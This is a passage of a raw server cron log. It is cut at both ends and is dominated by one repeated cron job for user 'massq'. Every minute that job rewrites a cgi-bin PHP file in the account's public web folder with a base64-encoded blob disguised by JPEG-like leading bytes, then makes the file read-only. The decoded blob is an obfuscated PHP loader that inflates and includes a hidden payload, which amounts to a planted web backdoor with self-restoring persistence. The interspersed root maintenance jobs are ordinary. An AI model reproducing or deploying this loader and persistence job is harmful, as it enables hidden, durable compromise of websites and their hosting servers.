"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:04:01 server CROND[28224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:05:01 server CROND[28387]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 09:05:01 server CROND[28390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:05:01 server CROND[28389]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:05:01 server CROND[28388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:06:01 server CROND[28518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:07:01 server CROND[28588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:08:01 server CROND[28671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:09:01 server CROND[28740]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 09:09:01 server CROND[28741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:10:01 server CROND[28910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:10:01 server CROND[28911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:10:01 server CROND[28913]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 09:10:01 server CROND[28912]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:11:01 server CROND[29047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:12:01 server CROND[29146]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 09:12:01 server CROND[29147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:13:01 server CROND[29259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:14:01 server CROND[29334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:15:01 server CROND[29464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:15:01 server CROND[29467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:15:01 server CROND[29466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:16:01 server CROND[29661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUM